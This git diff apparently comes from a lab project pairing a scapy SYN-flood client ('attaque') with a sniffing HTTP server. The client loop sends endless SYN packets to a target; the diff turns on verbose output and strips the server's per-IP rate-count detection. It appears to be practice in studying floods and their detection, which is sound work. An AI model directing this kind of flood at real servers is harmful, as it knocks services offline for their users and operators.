diff --git a/client/main.py b/client/main.py index 860fc1e..b01eb99 100644 --- a/client/main.py +++ b/client/main.py @@ -21,7 +21,7 @@ def attaque(): while True: requete = L[r.randint(0, 2)] paquet = IP(dst=adresse) / TCP(dport=port, sport=RandShort(), flags="S") / Raw(load=requete) - sr1(paquet, verbose=False) + sr1(paquet, verbose=True) if __name__ == "__main__": t1= th.Thread(target=attaque()) diff --git a/server/main.py b/server/main.py index fbaaddc..efab81e 100644 --- a/server/main.py +++ b/server/main.py @@ -2,29 +2,14 @@ from scapy.all import * import http.server import socketserver import threading -import time PORT = 80 Handler = http.server.SimpleHTTPRequestHandler http = socketserver.TCPServer(("", PORT), Handler) -addresses = {} - -def empty_addresses(): - while True: - time.wait(1) - addresses.clear() - def handler(pkt): - address = pkt[IP].src - if address in addresses.keys(): - count = addresses[address] - if count > 30: - print(address, count) - addresses[address] += 1 - else: - addresses[address] = 1 + print(pkt) def sniff_packets(): sniff(filter=f"tcp port {PORT}", prn=handler) @@ -32,8 +17,6 @@ def sniff_packets(): if __name__ == "__main__": sniffer = threading.Thread(target=sniff_packets) sniffer.start() - emptyer = threading.Thread(target=empty_addresses) - emptyer.start() http.serve_forever() print("serving at port", PORT)